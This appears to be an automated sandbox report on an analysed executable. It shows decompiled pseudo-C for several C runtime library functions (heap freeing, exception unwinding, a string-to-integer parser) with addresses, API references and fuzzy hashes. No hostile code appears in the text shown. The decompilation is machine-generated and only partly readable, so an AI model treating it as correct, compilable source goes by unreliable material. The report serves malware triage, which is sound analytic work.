Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 350c9b6fe844f02f9877ac266ecd0c27d00a76a826ef119b4f47bbdaa10095e9
Instruction ID: 213b0b2f37813be546c819f5bd5e3446fbc2006c86b4bf830754fa3fbfc5d610
Opcode Fuzzy Hash: 350c9b6fe844f02f9877ac266ecd0c27d00a76a826ef119b4f47bbdaa10095e9
Instruction Fuzzy Hash: 1C015E32E04611ABDA21BF65980979A7BA4BB44795F05C43FE800776C1CB3CB942DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004036AF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t24;
				void* _t26;

				_push(0xc);
				_push(0x416198);
				_t8 = E004043B0(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t26 + 8));
				if(_t24 == 0) {
					L9:
					return E004043F5(_t8);
				}
				if( *0x2ca7200 != 3) {
					_push(_t24);
					L7:
					_t8 = HeapFree( *0x41be54, 0, ??);
					_t32 = _t8;
					if(_t8 == 0) {
						_t10 = E00403634(_t32);
						 *_t10 = E004035F2(GetLastError());
					}
					goto L9;
				}
				E004038B9(__ebx, __edi, 4);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t13 = E004038EC(_t24);
				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t24);
					_push(_t13);
					E0040391C();
				}
				 *(_t26 - 4) = 0xfffffffe;
				_t8 = E00403705();
				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t26 + 8)));
					goto L7;
				}
			}

0x004036af
0x004036b1
0x004036b6
0x004036bb
0x004036c0
0x00403737
0x0040373c
0x0040373c
0x004036c9
0x0040370e
0x0040370f
0x00403717
0x0040371d
0x0040371f
0x00403721
0x00403734
0x00403736
0x00000000
0x0040371f
0x004036cd
0x004036d3
0x004036d8
0x004036de
0x004036e3
0x004036e5
0x004036e6
0x004036e7
0x004036ed
0x004036ee
0x004036f5
0x004036fe
0x00000000
0x00403700
0x00403700
0x00000000
0x00403700

APIs

__lock.LIBCMT ref: 004036CD

Part of subcall function 004038B9: __mtinitlocknum.LIBCMT ref: 004038CF
Part of subcall function 004038B9: __amsg_exit.LIBCMT ref: 004038DB
Part of subcall function 004038B9: EnterCriticalSection.KERNEL32(?,?,?,00408175,00000004,004164E8,0000000C,00406DBA,00000000,?,00000000,00000000,00000000,?,00405749,00000001), ref: 004038E3

___sbh_find_block.LIBCMT ref: 004036D8
___sbh_free_block.LIBCMT ref: 004036E7
HeapFree.KERNEL32(00000000,00000000,00416198,0000000C,00401FD4,?), ref: 00403717
GetLastError.KERNEL32 ref: 00403728

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: b869703f905d5d26f838d27d2b663156d924697078b7321e92adda53add1a51f
Instruction ID: 619feb795e48d84ce47286fb373d3485742000747cd278ab6d0ee1a0866a755a
Opcode Fuzzy Hash: b869703f905d5d26f838d27d2b663156d924697078b7321e92adda53add1a51f
Instruction Fuzzy Hash: 8E0171F1901201AADB246FA29C0679E7EA8AB00326F10853EF501B71D1CB3C8B408A5C

Uniqueness

Uniqueness Score: -1.00%

Function 00406210, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406210(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				intOrPtr _t19;
				void* _t21;
				void* _t22;
				void* _t24;
				intOrPtr* _t25;
				void* _t26;
				void* _t27;

				_t26 = __esi;
				_t25 = __edi;
				_t24 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t29 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0040617E(__ebx, __edi, __esi, _t29);
					_t27 = _t27 + 0x10;
				}
				_t30 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t26);
				}
				E00402540(_t22);
				_push( *_t25);
				_push(_a16);
				_push(_a12);
				_push(_t26);
				E00405BFB(_t21, _t24, _t25, _t26, _t30);
				_push(0x100);
				_push(_a24);
				_t19 =  *((intOrPtr*)(_t25 + 4)) + 1;
				_push(_a16);
				 *((intOrPtr*)(_t26 + 8)) = _t19;
				_push(_a8);
				_push(_t26);
				_push(_a4);
				"j,h(cA"();
				if(_t19 != 0) {
					E00402507(_t19, _t26);
					return _t19;
				}
				return _t19;
			}

0x00406210
0x00406210
0x00406210
0x00406210
0x00406210
0x00406215
0x00406219
0x0040621b
0x0040621e
0x0040621f
0x00406220
0x00406223
0x00406228
0x00406228
0x0040622b
0x0040622f
0x00406232
0x00406237
0x00406234
0x00406234
0x00406234
0x0040623a
0x0040623f
0x00406241
0x00406244
0x00406247
0x00406248
0x00406250
0x00406255
0x00406258
0x00406259
0x0040625c
0x0040625f
0x00406265
0x00406266
0x00406269
0x00406273
0x00406277
0x00000000
0x00406277
0x0040627d

APIs

___BuildCatchObject.LIBCMT ref: 00406223

Part of subcall function 0040617E: ___BuildCatchObjectHelper.LIBCMT ref: 004061B4

_UnwindNestedFrames.LIBCMT ref: 0040623A
___FrameUnwindToState.LIBCMT ref: 00406248

Strings

csm, xrefs: 0040621F, 00406234, 00406247, 00406265, 00406275

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: 2fd54bbf1f9c7987f132bb6dcd9455a2c3a248f64e950306c2709857d9f6f809
Instruction ID: e229206054140d72ad2a1bf38d9be3cced213b04ce379a45a1253c782e003b0f
Opcode Fuzzy Hash: 2fd54bbf1f9c7987f132bb6dcd9455a2c3a248f64e950306c2709857d9f6f809
Instruction Fuzzy Hash: 89014B71000509BBCF126F52CC45EAB7F6AFF08348F00402AFD59251A1D73AE971DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401C97, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401C97(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v0;
				signed int _v4;
				char _v40;
				char _v80;
				char* _t21;
				char* _t25;

				_push(0x44);
				E004028FC(E00412078, __ebx, __edi, __esi);
				E0040171E( &_v40, "invalid string position");
				_v4 = _v4 & 0x00000000;
				_t21 =  &_v80;
				E00401C10(_t21,  &_v40);
				E004024BB( &_v80, 0x4160a4);
				asm("int3");
				_push(__esi);
				_t25 = _t21;
				 *((intOrPtr*)(_t25 + 0x18)) = 0xf;
				E0040192B(_t21, 0);
				E0040174A(_t25, _v0, 0, 0xffffffff);
				return _t25;
			}

0x00401c97
0x00401c9e
0x00401cab
0x00401cb0
0x00401cb8
0x00401cbb
0x00401cc9
0x00401cce
0x00401cd4
0x00401cd5
0x00401cd9
0x00401ce0
0x00401cee
0x00401cf7

APIs

__EH_prolog3.LIBCMT ref: 00401C9E
std::bad_exception::bad_exception.LIBCMT ref: 00401CBB

Part of subcall function 00401C10: std::runtime_error::runtime_error.LIBCPMT ref: 00401C1B

__CxxThrowException@8.LIBCMT ref: 00401CC9

Part of subcall function 004024BB: RaiseException.KERNEL32(?,?,u"@,?,?,?,?,?,00402275,?,00416568,0041B980,?,00401AEF,00000001,004016EF), ref: 004024FD

Strings

invalid string position, xrefs: 00401CA3

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: e2addfeb7743e9dc02cba755ea3ae5fcf7b625c93fdd0d57dac3d3003628ef92
Instruction ID: 3ff8877f99dfa078210c3ea715a8b5c0504d6c5fba5c0aced8f94b032e343c9d
Opcode Fuzzy Hash: e2addfeb7743e9dc02cba755ea3ae5fcf7b625c93fdd0d57dac3d3003628ef92
Instruction Fuzzy Hash: 8FF05E7264021867DB00FAD6CC16FDE77689F44724F20023BF211B71D2DEF89A549698

Uniqueness

Uniqueness Score: -1.00%

Function 00407F0A, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00407F0A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x4164c8);
				E004043B0(__ebx, __edi, __esi);
				_t29 = E00405797(__ebx, _t31);
				_t13 =  *0x418ae0; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E004038B9(_t22, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x418ac0; // 0x4189e8
					 *((intOrPtr*)(_t30 - 0x1c)) = E00407ECC(_t8, _t25, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E00407F74();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00405797(_t22, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E004029A9(_t25, 0x20);
				}
				return E004043F5(_t29);
			}

0x00407f0a
0x00407f0a
0x00407f0a
0x00407f0a
0x00407f0a
0x00407f0c
0x00407f11
0x00407f1b
0x00407f1d
0x00407f25
0x00407f49
0x00407f4b
0x00407f51
0x00407f55
0x00407f58
0x00407f63
0x00407f66
0x00407f6d
0x00407f27
0x00407f27
0x00407f2b
0x00000000
0x00407f2d
0x00407f32
0x00407f32
0x00407f2b
0x00407f37
0x00407f3b
0x00407f40
0x00407f48

APIs

__getptd.LIBCMT ref: 00407F16

Part of subcall function 00405797: __getptd_noexit.LIBCMT ref: 0040579A
Part of subcall function 00405797: __amsg_exit.LIBCMT ref: 004057A7

__getptd.LIBCMT ref: 00407F2D
__amsg_exit.LIBCMT ref: 00407F3B
__lock.LIBCMT ref: 00407F4B

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 0b9e516c1617b87d5cddbc7f3463b4ecb833ace002aa12d00b411195647184a0
Instruction ID: e132677af7be9c2417f1023ffcd46ebbae443e667e6cc00c1e0db0562d2ea368
Opcode Fuzzy Hash: 0b9e516c1617b87d5cddbc7f3463b4ecb833ace002aa12d00b411195647184a0
Instruction Fuzzy Hash: 3BF06231A547019BD710FB659402B4A77A0AF40728F1456BFE501B72D1CB7CA901DA6E

Uniqueness

Uniqueness Score: -1.00%

Function 00408EEC, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 204
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408EEC(intOrPtr __edx, intOrPtr _a4, intOrPtr* _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char _v12;
				intOrPtr _v16;
				char _v24;
				void* __edi;
				void* __esi;
				intOrPtr* _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t100;
				signed int _t101;
				intOrPtr* _t102;
				signed int _t103;
				signed int _t105;
				signed int _t106;
				intOrPtr _t107;
				signed int _t108;
				void* _t109;
				void* _t110;
				intOrPtr* _t113;
				signed char _t118;
				signed int _t122;
				char _t124;
				signed int _t126;
				signed int _t129;
				signed int _t130;
				signed int _t134;
				void* _t135;
				signed int _t137;
				intOrPtr _t138;
				intOrPtr* _t139;
				intOrPtr* _t140;
				intOrPtr _t141;
				void* _t143;

				_t132 = __edx;
				E00407486( &_v24, __edx, _t135, _a4);
				_t91 = _a12;
				_t140 = _a8;
				if(_t91 != 0) {
					 *_t91 = _t140;
				}
				_t146 = _t140;
				if(_t140 != 0) {
					__eflags = _a16;
					if(_a16 == 0) {
						L9:
						_t124 = _v24;
						_t118 =  *_t140;
						_v8 = 0;
						_t137 = _t140 + 1;
						while(1) {
							__eflags =  *((intOrPtr*)(_t124 + 0xac)) - 1;
							if( *((intOrPtr*)(_t124 + 0xac)) <= 1) {
								_t132 =  *((intOrPtr*)(_t124 + 0xc8));
								_t94 =  *( *((intOrPtr*)(_t124 + 0xc8)) + (_t118 & 0x000000ff) * 2) & 8;
								__eflags = _t94;
							} else {
								_t94 = E00408E00(_t132, _t137, _t118 & 0x000000ff, 8,  &_v24);
								_t124 = _v24;
								_t143 = _t143 + 0xc;
							}
							__eflags = _t94;
							if(_t94 == 0) {
								break;
							}
							_t118 =  *_t137;
							_t137 = _t137 + 1;
						}
						__eflags = _t118 - 0x2d;
						if(_t118 != 0x2d) {
							__eflags = _t118 - 0x2b;
							if(_t118 != 0x2b) {
								L19:
								_t95 = _a16;
								__eflags = _t95;
								if(_t95 < 0) {
									L68:
									_t96 = _a12;
									__eflags = _t96;
									if(_t96 != 0) {
										 *_t96 = _t140;
									}
									__eflags = _v12;
									if(_v12 != 0) {
										_t98 = _v16;
										_t88 = _t98 + 0x70;
										 *_t88 =  *(_t98 + 0x70) & 0xfffffffd;
										__eflags =  *_t88;
									}
									_t97 = 0;
									__eflags = 0;
									L73:
									return _t97;
								}
								__eflags = _t95 - 1;
								if(_t95 == 1) {
									goto L68;
								}
								__eflags = _t95 - 0x24;
								if(_t95 > 0x24) {
									goto L68;
								}
								__eflags = _t95;
								if(_t95 != 0) {
									__eflags = _t95 - 0x10;
									if(_t95 != 0x10) {
										L34:
										_t141 =  *((intOrPtr*)(_t124 + 0xc8));
										_t30 = 0xffffffff % _a16;
										__eflags = _t30;
										_t100 = 0xffffffff / _a16;
										_t134 = _t30;
										while(1) {
											_t126 =  *(_t141 + (_t118 & 0x000000ff) * 2) & 0x0000ffff;
											__eflags = _t126 & 0x00000004;
											if((_t126 & 0x00000004) == 0) {
												goto L37;
											}
											_t130 = _t118 - 0x30;
											L41:
											__eflags = _t130 - _a16;
											if(_t130 >= _a16) {
												L46:
												_t101 = _a20;
												_t138 = _t137 - 1;
												__eflags = _t101 & 0x00000008;
												if((_t101 & 0x00000008) != 0) {
													__eflags = _t101 & 0x00000004;
													if(__eflags != 0) {
														L58:
														_t102 = E00403634(__eflags);
														__eflags = _a20 & 0x00000001;
														 *_t102 = 0x22;
														if((_a20 & 0x00000001) == 0) {
															__eflags = _a20 & 0x00000002;
															_t103 = 0;
															_t105 = (_t103 & 0xffffff00 | (_a20 & 0x00000002) != 0x00000000) + 0x7fffffff;
															__eflags = _t105;
															_v8 = _t105;
														} else {
															_v8 = _v8 | 0xffffffff;
														}
														L61:
														_t106 = _a12;
														__eflags = _t106;
														if(_t106 != 0) {
															 *_t106 = _t138;
														}
														__eflags = _a20 & 0x00000002;
														if((_a20 & 0x00000002) != 0) {
															_v8 =  ~_v8;
														}
														__eflags = _v12;
														if(_v12 != 0) {
															_t107 = _v16;
															_t82 = _t107 + 0x70;
															 *_t82 =  *(_t107 + 0x70) & 0xfffffffd;
															__eflags =  *_t82;
														}
														_t97 = _v8;
														goto L73;
													}
													__eflags = _t101 & 0x00000001;
													if((_t101 & 0x00000001) != 0) {
														goto L61;
													}
													_t108 = _t101 & 0x00000002;
													__eflags = _t108;
													if(_t108 == 0) {
														L56:
														__eflags = _t108;
														if(_t108 != 0) {
															goto L61;
														}
														__eflags = _v8 - 0x7fffffff;
														if(__eflags <= 0) {
															goto L61;
														}
														goto L58;
													}
													__eflags = _v8 - 0x80000000;
													if(__eflags > 0) {
														goto L58;
													}
													goto L56;
												}
												__eflags = _a12;
												if(_a12 != 0) {
													_t138 = _a8;
												}
												_v8 = _v8 & 0x00000000;
												goto L61;
											}
											_a20 = _a20 | 0x00000008;
											__eflags = _v8 - _t100;
											if(__eflags < 0) {
												L50:
												_t122 = _v8 * _a16 + _t130;
												__eflags = _t122;
												_v8 = _t122;
												L51:
												_t118 =  *_t137;
												_t137 = _t137 + 1;
												continue;
											}
											if(__eflags != 0) {
												L45:
												_a20 = _a20 | 0x00000004;
												__eflags = _a12;
												if(_a12 != 0) {
													goto L51;
												}
												goto L46;
											}
											__eflags = _t130 - _t134;
											if(_t130 <= _t134) {
												goto L50;
											}
											goto L45;
											L37:
											__eflags = _t126 & 0x00000103;
											if((_t126 & 0x00000103) == 0) {
												goto L46;
											}
											__eflags = _t118 - 0x61 - 0x19;
											_t129 = _t118;
											if(_t118 - 0x61 <= 0x19) {
												_t129 = _t129 - 0x20;
												__eflags = _t129;
											}
											_t130 = _t129 + 0xffffffc9;
											__eflags = _t130;
											goto L41;
										}
									}
									__eflags = _t118 - 0x30;
									if(_t118 != 0x30) {
										goto L34;
									}
									L31:
									_t109 =  *_t137;
									__eflags = _t109 - 0x78;
									if(_t109 == 0x78) {
										L33:
										_t139 = _t137 + 1;
										_t118 =  *_t139;
										_t137 = _t139 + 1;
										__eflags = _t137;
										goto L34;
									}
									__eflags = _t109 - 0x58;
									if(_t109 != 0x58) {
										goto L34;
									}
									goto L33;
								}
								__eflags = _t118 - 0x30;
								if(_t118 == 0x30) {
									_t110 =  *_t137;
									__eflags = _t110 - 0x78;
									if(_t110 == 0x78) {
										L28:
										_a16 = 0x10;
										goto L31;
									}
									__eflags = _t110 - 0x58;
									if(_t110 == 0x58) {
										goto L28;
									}
									_a16 = 8;
									goto L34;
								}
								_a16 = 0xa;
								goto L34;
							}
							L18:
							_t118 =  *_t137;
							_t137 = _t137 + 1;
							__eflags = _t137;
							goto L19;
						}
						_a20 = _a20 | 0x00000002;
						goto L18;
					}
					__eflags = _a16 - 2;
					if(__eflags < 0) {
						goto L3;
					}
					__eflags = _a16 - 0x24;
					if(__eflags > 0) {
						goto L3;
					}
					goto L9;
				} else {
					L3:
					_t113 = E00403634(_t146);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t113 = 0x16;
					E004035CC(_t132, 0, _t140);
					if(_v12 != 0) {
						 *(_v16 + 0x70) =  *(_v16 + 0x70) & 0xfffffffd;
					}
					return 0;
				}
			}

0x00408eec
0x00408efc
0x00408f01
0x00408f04
0x00408f0b
0x00408f0d
0x00408f0d
0x00408f0f
0x00408f11
0x00408f3f
0x00408f42
0x00408f50
0x00408f50
0x00408f54
0x00408f56
0x00408f59
0x00408f5c
0x00408f5c
0x00408f63
0x00408f7c
0x00408f89
0x00408f89
0x00408f65
0x00408f6f
0x00408f74
0x00408f77
0x00408f77
0x00408f8c
0x00408f8e
0x00000000
0x00000000
0x00408f90
0x00408f92
0x00408f92
0x00408f95
0x00408f98
0x00408fa0
0x00408fa3
0x00408fa8
0x00408fa8
0x00408fab
0x00408fad
0x004090fe
0x004090fe
0x00409101
0x00409103
0x00409105
0x00409105
0x00409107
0x0040910b
0x0040910d
0x00409110
0x00409110
0x00409110
0x00409110
0x00409114
0x00409114
0x00409116
0x00000000
0x00409116
0x00408fb3
0x00408fb6
0x00000000
0x00000000
0x00408fbc
0x00408fbf
0x00000000
0x00000000
0x00408fc5
0x00408fc7
0x00408ff3
0x00408ff6
0x0040900b
0x0040900b
0x00409018
0x00409018
0x00409018
0x00409018
0x0040901b
0x0040901e
0x00409022
0x00409025
0x00000000
0x00000000
0x0040902a
0x0040904a
0x0040904a
0x0040904d
0x00409068
0x00409068
0x0040906b
0x0040906c
0x0040906e
0x00409095
0x00409097
0x004090b4
0x004090b4
0x004090b9
0x004090bd
0x004090c3
0x004090cb
0x004090d1
0x004090d5
0x004090d5
0x004090d7
0x004090c5
0x004090c5
0x004090c5
0x004090da
0x004090da
0x004090dd
0x004090df
0x004090e1
0x004090e1
0x004090e3
0x004090e7
0x004090e9
0x004090e9
0x004090ec
0x004090f0
0x004090f2
0x004090f5
0x004090f5
0x004090f5
0x004090f5
0x004090f9
0x00000000
0x004090f9
0x00409099
0x0040909b
0x00000000
0x00000000
0x0040909d
0x0040909d
0x004090a0
0x004090ab
0x004090ab
0x004090ad
0x00000000
0x00000000
0x004090af
0x004090b2
0x00000000
0x00000000
0x00000000
0x004090b2
0x004090a2
0x004090a9
0x00000000
0x00000000
0x00000000
0x004090a9
0x00409070
0x00409074
0x00409076
0x00409076
0x00409079
0x00000000
0x00409079
0x0040904f
0x00409053
0x00409056
0x0040907f
0x00409086
0x00409086
0x00409088
0x0040908b
0x0040908b
0x0040908d
0x00000000
0x0040908d
0x00409058
0x0040905e
0x0040905e
0x00409062
0x00409066
0x00000000
0x00000000
0x00000000
0x00409066
0x0040905a
0x0040905c
0x00000000
0x00000000
0x00000000
0x0040902f
0x0040902f
0x00409035
0x00000000
0x00000000
0x0040903c
0x0040903f
0x00409042
0x00409044
0x00409044
0x00409044
0x00409047
0x00409047
0x00000000
0x00409047
0x0040901b
0x00408ff8
0x00408ffb
0x00000000
0x00000000
0x00408ffd
0x00408ffd
0x00408fff
0x00409001
0x00409007
0x00409007
0x00409008
0x0040900a
0x0040900a
0x00000000
0x0040900a
0x00409003
0x00409005
0x00000000
0x00000000
0x00000000
0x00409005
0x00408fc9
0x00408fcc
0x00408fd7
0x00408fd9
0x00408fdb
0x00408fea
0x00408fea
0x00000000
0x00408fea
0x00408fdd
0x00408fdf
0x00000000
0x00000000
0x00408fe1
0x00000000
0x00408fe1
0x00408fce
0x00000000
0x00408fce
0x00408fa5
0x00408fa5
0x00408fa7
0x00408fa7
0x00000000
0x00408fa7
0x00408f9a
0x00000000
0x00408f9a
0x00408f44
0x00408f48
0x00000000
0x00000000
0x00408f4a
0x00408f4e
0x00000000
0x00000000
0x00000000
0x00408f13
0x00408f13
0x00408f13
0x00408f18
0x00408f19
0x00408f1a
0x00408f1b
0x00408f1c
0x00408f1d
0x00408f23
0x00408f2f
0x00408f34
0x00408f34
0x00000000
0x00408f38

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00408EFC

Part of subcall function 00407486: __getptd.LIBCMT ref: 00407499

__isctype_l.LIBCMT ref: 00408F6F

Strings

$, xrefs: 00408F4A

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::___getptd__isctype_l
String ID: $
API String ID: 3484633779-3993045852
Opcode ID: c1948699c3026d4e3ae313d0e54c95622c711dfa30ea2e5c4354d670898497a0
Instruction ID: b07ca322f4613b1764643c463d448d56b1e0107d5ee5f55be25fdd7d6e6189a3
Opcode Fuzzy Hash: c1948699c3026d4e3ae313d0e54c95622c711dfa30ea2e5c4354d670898497a0
Instruction Fuzzy Hash: 3071F33090024A9BDF25CF28C6457AF7BA1AF51314F28017BE891B72D2C73D8E92C75A

Uniqueness

Uniqueness Score: -1.00%

Function 00405F89, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00405F89(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0040283B(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00405797(__ebx, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00405797(_t19, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E00402814(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E00405D21(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x00405f89
0x00405f89
0x00405f89
0x00405f8c
0x00405f92
0x00405fa0
0x00405fa6
0x00405fae
0x00405fba
0x00405fc2
0x00405fca
0x00405fde
0x00405fe0
0x00405fe4
0x00405fe9
0x00405fef
0x00405ff1
0x00405ff3
0x00405ff6
0x00000000
0x00405ffd
0x00405ff1
0x00405fe4
0x00405fde
0x00405fca
0x00405ffe

APIs

Part of subcall function 0040283B: __getptd.LIBCMT ref: 00402841
Part of subcall function 0040283B: __getptd.LIBCMT ref: 00402851

__getptd.LIBCMT ref: 00405F98

Part of subcall function 00405797: __getptd_noexit.LIBCMT ref: 0040579A
Part of subcall function 00405797: __amsg_exit.LIBCMT ref: 004057A7

__getptd.LIBCMT ref: 00405FA6

Strings

csm, xrefs: 00405FB4

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 42cb32327c757641c19717729f2cc47dd717a1d0f4e1dad42712e9e01dcc05b2
Instruction ID: 1aaa453bc81c2be18bbbc9e784a37487736324fabcd8224795598a0c1539dfc9
